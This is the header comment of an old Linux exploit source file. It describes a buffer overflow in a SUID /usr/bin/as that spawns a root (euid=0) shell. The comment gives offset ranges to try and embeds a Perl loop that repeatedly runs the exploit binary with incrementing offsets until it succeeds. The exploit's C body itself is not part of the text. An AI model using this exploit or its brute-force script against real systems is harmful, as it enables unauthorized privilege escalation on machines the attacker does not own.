/* (linux)as buffer overflow, by v9[v9@fakehalo.org].  this will give you a
   euid=0 shell if /usr/bin/as is SUID(=4755), which isn't anywheres by 
   default that i know of.  "rawb" on efnet told me this.
 
   note: usually, if /usr/bin/as isn't SUID(=4755) or you're not uid=0 it
   won't launch the shell.  try offsets 300-400.
 
   here is a quick perl script to run offsets (until ctrl-c):
 
   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "offset: $i.\n";
    system("./as_bof $i");
    $i++; # or $i+=100; if you want to be speedy.
   } */
